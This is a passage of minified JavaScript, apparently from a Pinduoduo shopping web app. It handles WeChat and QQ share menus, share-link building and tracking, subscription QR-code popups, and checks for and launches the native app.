""menuItem:share:weiboApp"", + FAVORITE: ""menuItem:favorite"", + OPEN_WITH_SAFARI: ""menuItem:openWithSafari"", + SHARE_EMAIL: ""menuItem:share:email"", + SHARE_TIMELINE: ""menuItem:share:timeline"", + COPY_URL: ""menuItem:copyUrl"" + }, + $ = [X.OPEN_WITH_SAFARI, X.SHARE_EMAIL], + ee = { + WECHAT_SESSION: 1, + WECHAT_TIMELINE: 2, + QQ_CHAT_SESSION: 4, + QQ_ZONE: 5 + }, + te = ((H = {})[ee.WECHAT_SESSION] = X.SHARE_SESSION, + H[ee.WECHAT_TIMELINE] = X.SHARE_TIMELINE, + H[ee.QQ_CHAT_SESSION] = X.SHARE_QQ, + H[ee.QQ_ZONE] = X.SHARE_QZONE, + H), + ne = Object.keys(ee).reduce(function(e, t) { + return e[ee[t]] = 0, + e + }, {}), + re = { + prepareWeChatSDK: function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1], + n = e.marketActivityID || """", + r = Math.random().toString().substring(2), + i = Date.now().toString(), + s = (window.rawData && window.rawData.wechatShareDomain || {}).wechatKey || Y.ApiKey.WeChat, + l = function(n) { + var a = n.signature, + u = n.shareDomain, + l = n.openAppID, + p = n.share, + d = n.mirror, + h = n.shareTypeEnable, + f = n.magicTrace; + if (window.wx && a) { + var m = { + mirror: d, + share: p, + shareDomain: u, + openAppID: l, + magicTrace: f + }; + d ? s = l : p && l && (s = l, + a = "" ""), + location.hostname.indexOf("".ishangtong.com"") > -1 && (/^\/group\d+/.test(location.pathname) || /act_group/.test(location.pathname)) && window.rawData && window.rawData.showShareTimeline && (a = "" ""), + m.wechatAppID = s, + wx.config({ + debug: !1, + beta: !0, + appId: s, + timestamp: i, + nonceStr: r, + signature: a, + jsApiList: Z + }), + wx.ready(function() { + var n = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1]; + return e = Object.assign({}, ne, e), + Object.keys(e).reduce(function(n, r) { + r = parseInt(r, 10); + var a = te[r]; + if (t && [ee.WECHAT_SESSION, ee.WECHAT_TIMELINE].indexOf(r) < 0) + a && n.menuShareItemsToHide.push(a); + else { + var i = e[r] ? n.menuShareItemsToShow : n.menuShareItemsToHide; + a && i.push(a) + } + return n + }, { + menuShareItemsToShow: [], + menuShareItemsToHide: [] + }) + }(h, e.onlyWeChat), + r = n.menuShareItemsToShow, + a = n.menuShareItemsToHide, + i = [], + s = $.concat(a); + if (e.disableShare ? s = s.concat(r) : i = i.concat(r), + e.disableCopyUrl && s.push(X.COPY_URL), + e.enableBroswerOpen && s.splice(0, 1), + wx.hideMenuItems({ + menuList: s + }), + wx.showMenuItems({ + menuList: i + }), + window.wxReady = !0, + o.a.call(t, !0, m), + ""function"" == typeof window.wxAfterReady) + o.a.call(window.wxAfterReady); + else if (o.a.isArray(window.wxAfterReady)) + for (; window.wxAfterReady.length > 0;) + o.a.call(window.wxAfterReady.pop()); + window.wxAfterReady = null + }), + wx.error(function(e) { + c.a.trackingRecord({ + op: ""error"", + event: ""wx_error"", + signature: a, + res: JSON.stringify(e) + }), + o.a.call(t, !1, m) + }) + } + }, + p = ""weixin/jsapi/signature?"" + a.a.buildQuery({ + page_sn: u.a.getInstance().getPageSN(), + noncestr: r, + timestamp: i, + open_app_id: s, + url: location.href.split(""#"")[0], + activity: n + }); + return new Promise(function(e, t) { + x.a.apiRequest(""GET"", p, null, function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + e({ + signature: t.signature, + openAppID: t.open_app_id, + shareDomain: t.share_domain, + share: !!parseInt(t.share, 10), + mirror: !!parseInt(t.mirror, 10), + shareTypeEnable: t.share_type_enable, + magicTrace: t.magic_trace + }) + }, function() { + e({}) + }, !0, !1, !0) + }).then(function(e) { + l(e) + }) + }, + doAfterWxReady: function(e) { + window.wxReady || !r.b.isWeChatPlatform() ? o.a.call(e) : (window.wxAfterReady = window.wxAfterReady || [], + window.wxAfterReady.push(e)) + }, + setLastVisitData: function() { + var e = { + link: location.href + }; + o.a.saveToLocalStorage(J.LocalStorageKey.LastVisitData, JSON.stringify(e)) + }, + weChatForwardForceContact: function(e, t, n) { + t = t || Y.ContactUrl, + e.isNormal && c.a.trackingRecord({ + event_type: ""force_contact_normal_navigation"", + url: location.href + }), + this.setLastVisitData(); + var r = J.QRCodeType.Default; + e.resubscribe ? r = J.QRCodeType.Resubscribe : e.isNewUserGroup ? r = J.QRCodeType.NewUserGroup : e.groupPageForceContact ? r = J.QRCodeType.GPAlert : e.portalPageForceContact ? r = J.QRCodeType.PPAlert : e.freeGroupForceContact && (r = J.QRCodeType.FreeGroupForceContact), + r === J.QRCodeType.ABAlert && x.a.apiRequest(""post"", ""subscriber/track"", { + src: ""ab"", + goods_id: e.goodsID, + group_order_id: e.groupOrderID, + wt_id: e.wtID + }, null, null, null, null, !0), + this.weChatForceContactStrategy({ + type: r, + eventType: n, + pageName: e.pageName, + ABTest: e.ABTest, + trackingParams: e.trackingParams, + abTestForceContactSubTitle: e.abTestForceContactSubTitle, + options: e + }) + }, + weChatForceContactStrategy: function(e) { + var t = (e = e || {}).ABTest, + n = sessionStorage.getItem(J.SessionStorageKey.SubscribeContent), + a = null; + if (n) + try { + a = JSON.parse(n) + } catch (e) { + a = null + } + var i = {}; + if (a && a.type) + switch (c.a.trackingRecord(o.a.extend({ + op: ""impr"", + page_section: ""subscribe_popup"" + }, e.trackingParams || {}, { + page_name: e.pageName || """", + style: { + q: ""qrcode"", + p: ""mp"", + s: ""search"", + h: ""link"", + qs: ""qrcodeSecond"" + }[a.type] + })), + a.type) { + case ""q"": + i.isQRCode = !0, + i.qrCodeUrl = a.content; + break; + case ""qs"": + i.isQRCode = !0, + i.qrCodeUrl = a.content, + i.abTest = !0; + break; + case ""p"": + i.isMP = !0, + i.mpUrl = a.content; + break; + case ""s"": + i.isSearch = !0; + break; + case ""h"": + i.isLink = !0, + r.b.isShowSMAlertPlatform() ? i.smAlertUrl = a.content : i.link = a.content + } else + i = t.result(s.a.userID, !1, Y.AppID.WeChat); + var u = document.createElement(""DIV""); + i.isQRCode ? (document.body.appendChild(u), + C.a.render(w.a.createElement(G, { + type: e.type, + eventType: e.eventType, + qrCodeUrl: i.qrCodeUrl, + pageName: e.pageName, + abTest: i.abTest || !1, + abTestForceContactSubTitle: e.abTestForceContactSubTitle || !1, + data: e.options + }), u)) : i.isSearch ? (document.body.appendChild(u), + C.a.render(w.a.createElement(V, null), u)) : i.isMP ? setTimeout(function() { + location.href = e.mpUrl || i.mpUrl + }, 0) : i.isLink && (r.b.isShowSMAlertPlatform() ? (document.body.appendChild(u), + C.a.render(w.a.createElement(G, { + type: J.QRCodeType.SMAlert, + smAlertUrl: i.smAlertUrl, + pageName: e.pageName, + eventType: e.eventType, + data: e.options + }), u)) : d.default.showJSAlert(J.AlertType.Alert.FCLink, function() { + location.href = e.link || i.link + }, null, null, {})) + }, + weChatContactTesterForward: function(e, t) { + var n = this, + r = Y.ContactUrl; + !((parseInt(t, 10) || 0) === J.EVENT_TYPE.LUCKY_DRAW) && Y.ForceContactUrl && (r = Y.ForceContactUrl); + var a = { + goods_id: e.goodsID + }; + e.groupID && (a.group_id = e.groupID), + e.groupOrderID && (a.group_order_id = e.groupOrderID), + x.a.apiRequest(""post"", ""subscriber/track"", a, function(a) { + n.weChatForwardForceContact(e, r, t) + }, function(a) { + n.weChatForwardForceContact(e, r, t) + }) + }, + weChatForceContact: function(e, t, n, a, i) { + if (r.b.isWeChatPlatform()) { + var c = {}; + (i = i || {}).notTester = !0; + var u = t ? J.ContactURLType.LowPrice : J.ContactURLType.HighPrice, + l = r.b.isMobile ? r.b.isMobile[0] : null, + p = """"; + ""iPhone"" === l ? p = ""ios"" : ""Android"" === l && (p = ""android""); + var d = { + contact_url_type: u, + check_app_login: i.checkAppLogin ? ""1"" : null, + check_app_login_contain_mobile: ""1"", + check_is_active: ""1"", + check_is_ten_yuan: ""1"", + check_new_app: ""1"", + check_weixin_sp: J.ForceContactAppIDs.indexOf(Y.AppID.WeChat) >= 0 ? ""1"" : null, + check_sub_content: r.b.isShowSMAlertPlatform() ? ""1"" : ""2"", + get_url: ""1"", + platform: p + }; + i.checkUserSharable && (d.check_user_sharable = ""1""), + void 0 != i.eventType && (d.event_type = i.eventType); + var h = function() { + c.grade && (c.userInfo || c.userInfoFailed) && (c.userInfoFailed ? o.a.call(e) : function() { + var t = c.userInfo; + t.contact_url && (a && Y.ContactUrl ? Y.ContactUrl = t.contact_url : !a && n && Y.ForceContactUrl && (Y.ForceContactUrl = t.contact_url)); + var r = s.a.selfInfo.getInstance(c.grade), + i = r.getCreateOrderContact(), + u = parseInt(t.uid, 10), + l = t.app_download || {}; + if (o.a.isArray(l) && (l = {}), + l.gender = t.gender, + l.isNewAppUser = t.is_new_app_user, + l.isSubscribed = t.is_subscribed, + l.hasAppLogin = t.has_app, + l.hasAppContainMobile = t.has_app_contain_mobile, + l.orderForceContact = i, + l.groupBannerForceContact = r.getGroupBannerContact(), + l.groupPageForceContact = r.getGroupPageContact(), + l.monthActive = t.user_tags && t.user_tags.active || ""0"", + l.tenYuan = t.user_tags && t.user_tags.ten_yuan || ""0"", + s.a.userID = u, !t.is_subscribed) { + var p = t.sub_content ? JSON.stringify(t.sub_content) : null; + return o.a.saveToSessionStorage(J.SessionStorageKey.SubscribeContent, p), + void(t.cancel_subscribe ? o.a.call(e, i, !0, u, l) : n || ""0"" !== l.tenYuan ? o.a.call(e, i, !1, u, l) : o.a.call(e, !1, !1, u, l)) + } + o.a.call(e, !1, !1, u, l) + }()) + }; + s.a.requestSelfInfo(d, function(e) { + c.userInfo = e, + h() + }, function() { + c.userInfoFailed = !0, + h() + }), + c.grade = 2 + } else + o.a.call(e) + }, + hideTimelineInWeChatMenu: function() { + r.b.isWeChatPlatform() && this.doAfterWxReady(function() { + window.wx && wx.hideMenuItems({ + menuList: [""menuItem:share:timeline""] + }) + }) + }, + weChatGetAPPInstallState: function() { + var e = { + installed: !1, + version: """", + ready: !1 + }; + return new Promise(function(t, n) { + window.WeixinJSBridge && window.WeixinJSBridge.invoke ? window.WeixinJSBridge.invoke(""getInstallState"", { + packageName: ""com.xunmeng.pinduoduo"" + }, function(r) { + e.ready = !0, + r.versionName ? (e.installed = !0, + e.version = r.versionName, + t(e)) : n(e) + }) : n(e) + }) + }, + wechatLaunchPDDApp: function(e, t, n, i) { + var s = this, + c = u.a.getInstance().getExtendTransferParameters(!0), + l = document.createElement(""a""); + if (l.href = a.a.buildURL(c, e), + e = (l.pathname + l.search).slice(1), + r.b.WeChatCurrent === r.b.WeChatAndroid) + this.doAfterWxReady(function() { + s.weChatGetAPPInstallState().then(function(a) { + o.a.compareVersion(a.version, r.b.launchAppVersion) > 0 ? s.wechatLaunchApplication(e, t, n) : o.a.call(n) + }, n).catch(n) + }); + else if (r.b.WeChatCurrent === r.b.WeChatIOS) { + r.b.IOSSystemVersion.split("".""); + this.doAfterWxReady(function() { + s.wechatLaunchApplication(""pinduoduo://com.xunmeng.pinduoduo/"" + e, t, n) + }) + } else + o.a.call(n) + }, + wechatLaunch3rdApp: function(e, t, n) { + var r = ""from=wx_webview&forward_url="" + encodeURIComponent(e); + this.doAfterWxReady(function() { + wx && wx.invoke ? wx.invoke(""launch3rdApp"", { + appID: ""wx77d53b84434b9d9a"", + extInfo: r, + messageExt: e + }, function(e) { + ""launch_3rdApp:ok"" === e.err_msg ? ""function"" == typeof t && t(e) : ""function"" == typeof n && n(e) + }) : ""function"" == typeof n && n() + }) + }, + wechatLaunchApplication: function(e, t, n) { + var r = ""from=wx_webview&forward_url="" + encodeURIComponent(e); + this.doAfterWxReady(function() { + wx && wx.invoke ? wx.invoke(""launchApplication"", { + appID: ""wx77d53b84434b9d9a"", + extInfo: r, + messageExt: e + }, function(e) { + ""launchApplication:ok"" === e.err_msg ? ""function"" == typeof t && t(e) : ""function"" == typeof n && n(e) + }) : ""function"" == typeof n && n() + }) + }, + weChatGetAPPInstallStateAfterWxReady: function(e) { + var t = { + installed: !1, + version: """", + ready: !1, + wxCheckPdd: 2 + }; + this.doAfterWxReady(function() { + window.WeixinJSBridge && window.WeixinJSBridge.invoke ? window.WeixinJSBridge.invoke(""getInstallState"", { + packageName: ""com.xunmeng.pinduoduo"", + packageUrl: ""pinduoduo://"" + }, function(n) { + t.ready = !0, + n.versionName || n.err_msg && n.err_msg.match(/get_install_state:yes/) ? (t.installed = !0, + t.version = n.versionName, + t.wxCheckPdd = 1, + e(t)) : n.err_msg && n.err_msg.match(/get_install_state:no/) ? (t.wxCheckPdd = 0, + e(t)) : e(t) + }) : e(t) + }) + }, + weChatOpenAddress: function(e, t) { + var n = c.a.getLogID(); + if (r.b.isWeChatPlatform() && window.wx && window.wx.openAddress) { + c.a.trackingRecord({ + log_id: n, + event: ""open_address"", + status: ""start"" + }); + var a = function() { + wx.openAddress({ + trigger: function(e) {}, + success: function(t) { + ""openAddress:ok"" === t.errMsg ? (o.a.call(e, t), + c.a.trackingRecord({ + log_id: n, + event: ""open_address"", + status: ""success"" + })) : c.a.trackingRecord({ + log_id: n, + event: ""open_address"", + status: ""error"", + msg: t.errMsg + }) + }, + cancel: function(e) { + c.a.trackingRecord({ + log_id: n, + event: ""open_address"", + status: ""cancel"" + }) + }, + fail: function(e) { + o.a.call(t), + c.a.trackingRecord({ + log_id: n, + event: ""open_address"", + status: ""fail"" + }) + } + }) + }; + window.wxReady ? o.a.call(a) : (d.default.showToast(""正在从微信获取""), + this.doAfterWxReady(a)) + } + } + }, + ae = n(""MCLT""), + ie = n.n(ae), + oe = { + ShareChannel: { + Unknown: ""unknown"", + AppMessage: ""message"", + Timeline: ""timeline"", + QQ: ""qq"", + QQZone: ""qzone"", + QQWeibo: ""qq_weibo"", + SinaWeibo: ""weibo"" + }, + ShareResult: { + Success: ""success"", + Fail: ""fail"", + Cancel: ""cancel"", + Complete: ""complete"" + }, + ShareFakeUrl: { + domain: ""http://hz.pin18pin.com/"", + start: ""https://open.weixin.qq.com/connect/oauth2/authorize?response_type=code&scope=snsapi_base&appid={0}&redirect_uri={1}"" + }, + ImgCDNDomain: ""http://pinduoduoimg.yangkeduo.com/"", + WaterMark: { + Default: ""!share_v2"", + WeChatMsg: ""!share_v3"", + Share: ""!share"", + Transparent: ""!transparent"", + None: """", + NoLogo: ""!share_v4"" + }, + ReferPageKeys: [""refer_page_name"", ""refer_page_section"", ""refer_page_element"", ""refer_page_id"", ""refer_page_sn"", ""refer_page_el_sn"", ""refer_mid"", ""refer_adg"", ""refer_cam"", ""refer_ced""] + }, + se = E.a.shareType, + ce = oe.ShareChannel, + ue = oe.ShareResult, + le = function() { + var e = {}; + return e[ce.AppMessage] = ""appMessage"", + e[ce.Timeline] = ""timeline"", + e[ce.QQ] = ""qq"", + e[ce.QQZone] = ""qqZone"", + e[ce.QQWeibo] = ""qqWeibo"", + e[ce.SinaWeibo] = ""sinaWeibo"", + e + }(), + pe = function() { + var e = []; + for (var t in ce) + if (ce.hasOwnProperty(t)) { + var n = ce[t]; + for (var r in ue) + if (ue.hasOwnProperty(r)) { + var a = ue[r]; + e.push(he(n, a)) + } + } + return e + }(), + de = function() { + var e = {}; + return e[se.WeChatSession] = ce.AppMessage, + e[se.WeChatTimeline] = ce.Timeline, + e[se.Weibo] = ce.SinaWeibo, + e[se.QQChatSession] = ce.QQ, + e[se.QQZone] = ce.QQZone, + e[se.TencentWeibo] = ce.QQWeibo, + e + }(); + + function he(e, t) { + return [le[e], ""Share"", t.slice(0, 1).toUpperCase() + t.slice(1)].join("""") + } + var fe = { + createShareID: function(e) { + e = e || 32; + for (var t = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"", n = t.length, r = """", a = 0; a < e; a++) + r += t.charAt(Math.floor(Math.random() * n)); + return r + }, + getShareCallbackName: he, + getShareChannelByType: function(e) { + return de[e] + }, + ShareCallbackNames: pe, + ChanelByTypeMap: de + }, + me = E.a.shareType, + ge = oe.ShareChannel, + ve = function(e) { + this.updateShareID(), + e = e || {}, + this.dealWithOpts(e), + this.shareCallbacks = {}, + this.shareURLs = {} + }, + _e = E.a.get(location.host), + be = [""unionShareCallback"", ""forceShareToWeChatTimeline"", ""revertHardCodeFor161024"", ""onlyWeChat"", ""pageName"", ""extra"", ""keyParams"", ""disableShareWeibo"", ""cid""], + ye = [""shareID"", ""title"", ""message"", ""timelineMessage"", ""thumbnailURL"", ""thumbnailURL4WeChatMsg"", ""shareURL"", ""shareURLs"", ""waterMark"", ""mini_object_path""].concat(be), + we = function() { + var e = { + code: null, + from: null, + isappinstalled: null, + at: null, + share_id: null, + is_back: null, + page_id: null, + list_id: null + }; + return oe.ReferPageKeys.forEach(function(t) { + e[t] = null + }), + e + }(); + ve.prototype.dealWithOpts = function(e) { + this.setupDefaultShareInfo(e), + this.userID = e.userID, + this.trackingRecord = e.trackingRecord, + this.shareDomain = e.shareDomain, + this.shareDomains = e.shareDomains, + this.beiTaiShareDomains = e.beiTaiShareDomains, + this.timelineDomain = e.timelineDomain, + this.timelineAppId = e.timelineAppId + }, + ve.prototype.updateShareID = function(e) { + this.shareID = fe.createShareID(), + e && this.refreshShareURL() + }, + ve.prototype.updateShareUrl = function(e) { + var t = this.shareDomain; + return this.shareURL.match(/group\d+.html/) && (t = this.getShareDomain(e)), + this.shareURL = a.a.buildURL(null, this.shareURL, t), + this.shareURL + }, + ve.prototype.prepare = function(e, t) { + this.prepareShareInfo(e, t) + }, + ve.prototype.prepareShareInfoCommon = function(e, t) { + var n = this, + r = u.a.getInstance(); + if (this.pageName = this.pageName || r.getPageName(), + this.keyParams = this.keyParams || r.getKeyParams(), + this.passQuery = this.passQuery || r.getExtendTransferParameters(!0), + this.title = e.title || this.DEFAULT_SHARE_TITLE, + this.message = e.message || this.DEFAULT_SHARE_DESCRIPTION, + this.timelineMessage = e.timelineMessage || this.message, + this.waterMark = e.waterMark, + this.timelineDomain = e.timelineDomain || this.timelineDomain, + this.timelineAppId = e.timelineAppId || this.timelineAppId, + e.wechatAppID && (this.wechatAppID = e.wechatAppID), + null == this.waterMark && (this.waterMark = oe.WaterMark.Default), + e.thumbnailURL) { + var i = e.thumbnailURL; + this.thumbnailURL = O.a.addWaterMark(i, this.waterMark), + this.waterMark === oe.WaterMark.Default && (this.thumbnailURL4WeChatMsg = O.a.addWaterMark(i, oe.WaterMark.WeChatMsg, !0)), + this.waterMark === oe.WaterMark.NoLogo && (this.thumbnailURL4WeChatMsg = this.thumbnailURL) + } else + this.thumbnailURL = this.DEFAULT_SHARE_THUMBNAIL_URL; + e.mini_object_path && (this.mini_object_path = e.mini_object_path), + this.thumbnailURL4WeChatMsg = this.thumbnailURL4WeChatMsg || this.thumbnailURL, + this.thumbnailURL = this.thumbnailURL.replace(/^\/\//, ""http://""), + this.thumbnailURL4WeChatMsg = this.thumbnailURL4WeChatMsg.replace(/^\/\//, ""http://""); + var s = e.shareURL || this.DEFAULT_SHARE_URL, + c = o.a.extend(a.a.parseQuery(s.split(""?"")[1]), { + _wv: 41729, + _wvx: 10, + refer_share_id: this.shareID, + refer_share_uid: this.userID, + refer_share_channel: ge.AppMessage + }, we, this.passQuery); + for (var l in this.shareURL = a.a.buildURL(c, a.a.fullURL(s)), + this.updateShareUrl(), + fe.ChanelByTypeMap) + if (fe.ChanelByTypeMap.hasOwnProperty(l)) { + var p = fe.ChanelByTypeMap[l]; + this.shareURLs[l] = a.a.buildURL({ + refer_share_channel: p + }, this.shareURL, this.shareDomains[l]) + } + this.shareURLs[me.WeChatTimeline] = e.timelineShortURL || this.shareURLs[me.WeChatTimeline], + this.shareURLs[me.Weibo] = a.a.buildURL({ + refer_share_uid: null, + refer_share_channel: null + }, this.shareURLs[me.Weibo]), + fe.ShareCallbackNames.forEach(function(t) { + o.a.isFunc(e[t]) && (n.shareCallbacks[t] = e[t]) + }), + be.forEach(function(t) { + null != e[t] && (n[t] = e[t]) + }); + var d = this.preparePlatformShare(); + o.a.isFunc(t) && t(d) + }, + ve.prototype.prepareShareInfo = function(e, t) { + var n = this; + r.b.isNativePlatform() && ""function"" == typeof n.getAppID ? n.getAppID().then(function(r) { + n.wechatAppID = r, + n.prepareShareInfoCommon(e, t) + }).catch(function() { + n.prepareShareInfoCommon(e, t) + }) : n.prepareShareInfoCommon(e, t) + }, + ve.prototype.preparePlatformShare = function() { + return !0 + }, + ve.prototype.onShareClick = function(e, t) { + var n = (t = t || {}).cid || this.cid, + r = t.shareForm || ""url"", + a = t.campaign || r, + i = { + op: ""event"", + sub_op: ""share"", + share_id: this.shareID, + share_channel: e, + share_url: this.shareURLs[t.shareType], + share_form: r, + share_domain: this.getShareDomain(t.shareType), + cid: n, + campaign: a + }; + this.wechatAppID && (i.share_app_id = this.wechatAppID), + this.trackingRecord(i) + }, + ve.prototype.shareCallback = function(e, t, n) { + if (n = n || {}, + o.a.isFunc(this.unionShareCallback)) + this.unionShareCallback(0, { + shareType: n.shareType, + isSuccess: n.isSuccess ? 1 : 0, + share_id: this.shareID, + share_channel: e, + share_result: t, + timeline_domain: this.timelineDomain + }); + else { + var r = { + op: ""event"", + sub_op: ""share_result"", + event: ""share_result"", + share_id: this.shareID, + share_channel: e, + share_result: t, + timeline_domain: this.timelineDomain + }; + this.pageName && (r.useExistsParams = !0, + r.page_name = this.pageName), + this.trackingRecord(r); + var a = fe.getShareCallbackName(e, t); + o.a.isFunc(this.shareCallbacks[a]) && this.shareCallbacks[a]() + } + this.updateShareID(!0) + }, + ve.prototype.getShareInfo = function() { + var e = {}, + t = this, + n = this.getUsefulKeys(); + for (var r in n.forEach(function(n) { + null != t[n] && (e[n] = t[n]) + }), + t.shareCallbacks) + t.shareCallbacks.hasOwnProperty(r) && (e[r] = t.shareCallbacks[r]); + return e + }, + ve.prototype.setupDefaultShareInfo = function(e) { + var t = e.shop || _e.shop; + this.DEFAULT_SHARE_TITLE = t.name + ""商城"", + this.DEFAULT_SHARE_DESCRIPTION = ""风靡全国的拼单商城,优质商品新鲜直供,快来一起"" + t.name + ""吧"", + this.DEFAULT_SHARE_THUMBNAIL_URL = t.logo, + this.DEFAULT_SHARE_URL = ""/index.html"" + }, + ve.prototype.getShareDomain = function(e) { + if (e === me.WeChatTimeline) + return this.getTimeLineShareDomain(); + var t = [this.shareDomain].concat(this.beiTaiShareDomains || []); + return t[Math.floor(Math.random() * t.length)] + }, + ve.prototype.getTimeLineShareDomain = function() { + var e = this.shareDomains[me.WeChatTimeline] || this.shareDomain; + return ""string"" == typeof e ? e : e[Math.floor(Math.random() * e.length)] + }, + ve.prototype.refreshShareURL = function() { + var e = { + refer_share_id: this.shareID + }; + for (var t in this.shareURL = a.a.buildURL(e, this.shareURL), + this.shareURLs) + this.shareURLs.hasOwnProperty(t) && (this.shareURLs[t] = a.a.buildURL(e, this.shareURLs[t])); + this.preparePlatformShare() + }, + ve.prototype.getUsefulKeys = function() { + return ye + }; + var Se = ve, + Ce = n(""J66h""), + Ae = function(e) { + Se.call(this, e) + }, + Ie = E.a.shareType, + ke = oe.ShareResult, + Ee = oe.ShareFakeUrl, + Te = [{ + name: ""onMenuShareAppMessage"", + imgKey: ""thumbnailURL4WeChatMsg"", + shareType: Ie.WeChatSession + }, { + name: ""onMenuShareTimeline"", + titleKey: ""timelineMessage"", + shareType: Ie.WeChatTimeline + }, { + name: ""onMenuShareQQ"", + shareType: Ie.QQChatSession + }, { + name: ""onMenuShareQZone"", + shareType: Ie.QQZone + }, { + name: ""onMenuShareWeibo"", + shareType: Ie.TencentWeibo + }]; + ie.a.inherits(Ae, Se), + Ae.prototype.preparePlatformShare = function() { + if (""undefined"" == typeof wx) + return !1; + var e = this; + return Te.forEach(function(t) { + if (o.a.isFunc(window.wx[t.name])) { + var n = fe.getShareChannelByType(t.shareType), + r = e.shareURLs[t.shareType] || e.shareURL; + if (t.shareType === Ie.WeChatTimeline && e.keyParams.needTimeline) { + var i = (window.rawData && window.rawData.wechatShareDomain || {}).domain; + if (i) { + var s = o.a.getRandomString(10), + c = r.replace(e.shareDomain, """"); + r = ""http://"" + i + ""/"" + (c = (c = Ce.Base64.encode(s + ""/"" + c)).replace(/\+/g, ""-"").replace(/\//g, ""_"").replace(/=/g, "","")) + } else { + var u = r.replace(e.shareDomain, """"), + l = e.timelineDomain || ""m.qdlsgg.cn""; + r = o.a.format(Ee.start, e.timelineAppId || ""wxa19650a24138625a"", encodeURIComponent(""http://"" + l + u + ""&xxx_state=123"")) + } + } + t.shareType !== Ie.QQChatSession && t.shareType !== Ie.QQZone || (r += r.split(""?"").length <= 1 ? ""?"" : ""&"", + r += a.a.buildQuery({ + sf_tag: ""wechat"" + })), + window.wx[t.name]({ + title: e[t.titleKey] || e.title, + desc: e[t.descKey] || e.message, + imgUrl: e[t.imgKey] || e.thumbnailURL, + link: r, + trigger: function() { + e.onShareClick(n, { + shareType: t.shareType + }) + }, + success: function() { + e.shareCallback(n, ke.Success) + }, + fail: function() { + e.shareCallback(n, ke.Fail) + }, + cancel: function() { + e.shareCallback(n, ke.Cancel) + } + }) + } + }), !0 + }; + var Ne = { + instance: null, + getInstance: function(e) { + return this.instance || (this.instance = new Ae(e)), + this.instance + } + }, + xe = function(e) { + Se.call(this, e), + this.DEFAULT_SHARE_THUMBNAIL_URL = O.a.getCDNImgURL(Pe) + }, + Oe = E.a.shareType, + De = oe.ShareResult, + Pe = ""base/logo200.jpg"", + Re = [{ + shareType: Oe.QQChatSession + }, { + shareType: Oe.QQZone + }, { + imgKey: ""thumbnailURL4WeChatMsg"", + shareType: Oe.WeChatSession + }, { + titleKey: ""timelineMessage"", + shareType: Oe.WeChatTimeline + }]; + ie.a.inherits(xe, Se), + xe.prototype.preparePlatformShare = function() { + var e = this; + if (""undefined"" == typeof mqq || !mqq.ui) + return !1; + mqq.ui.setOnShareHandler(function(t) { + var n = Re[parseInt(t, 10)], + r = { + title: e[n.titleKey] || e.title, + desc: e[n.descKey] || e.message, + share_type: t, + share_url: e.shareURLs[n.shareType] || e.shareURL, + image_url: e[n.imgKey] || e.thumbnailURL, + back: !0 + }, + a = fe.getShareChannelByType(n.shareType); + e.onShareClick(a, { + shareType: n.shareType + }), + mqq.ui.shareMessage(r, function(t) { + switch (parseInt(t.retCode, 10)) { + case 0: + e.shareCallback(a, De.Success); + break; + case 1: + case -2: + e.shareCallback(a, De.Cancel); + break; + default: + e.shareCallback(a, De.Fail) + } + }) + }) + }; + var Me = { + instance: null, + getInstance: function(e) { + return this.instance || (this.instance = new xe(e)), + this.instance + } + }, + Le = [""shareToWeChatTimelineInAppDisabled"", ""template"", ""infoVisibleFlag"", ""subscribedTip"", ""subscribedDesc"", ""newUserGroupInfo"", ""imageURL"", ""complete"", ""timelineDomain"", ""timelineAppId"", ""useSubDirectoryURL"", ""imgShareInfo"", ""imgShareCallback"", ""imgShareFailCallback""], + Ue = 1; + + function We(e) { + Se.call(this, e) + } + ie.a.inherits(We, Se), + We.prototype.prepareShareInfo = function(e, t) { + Se.prototype.prepareShareInfo.call(this, e, t); + var n = this; + Le.forEach(function(t) { + null != e[t] && (n[t] = e[t]) + }) + }, + We.prototype.getAppID = function() { + return new Promise(function(e, t) { + p.a.venderAppIds({ + channels: [Ue] + }, function(t) { + e(t["""" + Ue]) + }, function() { + t("""") + }) + }) + }, + We.prototype.getUsefulKeys = function() { + return Se.prototype.getUsefulKeys.call(this).concat(Le) + }; + var Be = { + WeChat: Ne, + QQ: Me, + Native: { + instance: null, + getInstance: function(e) { + return this.instance || (this.instance = new We(e)), + this.instance + } + } + }, + Ge = ""data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAABUCAMAAAArteDzAAAAP1BMVEUAAADgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISjgISikM4n4AAAAFHRSTlMAl8xnGKvX5fG5djMsWYYiC05DPAOsuhIAAAF3SURBVFjD7dfbbsMgDAZgEyhncmjy/s+6mbZaOrNuMp40afyXVvQFEhslMDLyB5PhF6IvQLOo6fvEF+hB1eyPH0S9Qqkajm6Uqu8l17l9qtZldEVVVRiFmahclD4BYRS2qgqjsHtUhVHIDlVhFIxFVRgFE1AVRc2y7BZVCXTZogr2dH70ojkGd6eE0DRXUBIt08lxU1BzjBprlo0W+/Cs0mk9DaszTHR/kEGb853eKz4DD53va4yGjv8VWOhib2T5VL9itQALTfWVe03q2KkRWOju0QyGrN9VhoWmakY6o2gGYKHGoVnaB9S08tCA5kbKa216AyxUt/cO4db0LNT49qX61vQ8dMYFrW30CjzUfEwMQQsw0bl2TRONwEWxnVITVcBFd2xFaCUDG8Xda2iGj2KDG2m07l4YzXiZNLrhIxVA6dhIo2WapvzlsKWUGmj/R/9ABzrQgQ50oAP9r6g/JOKf0YsIeiH/gP2xBp6zatUbvcLICOYNV6ZDhtuqsSkAAAAASUVORK5CYII="", + Qe = 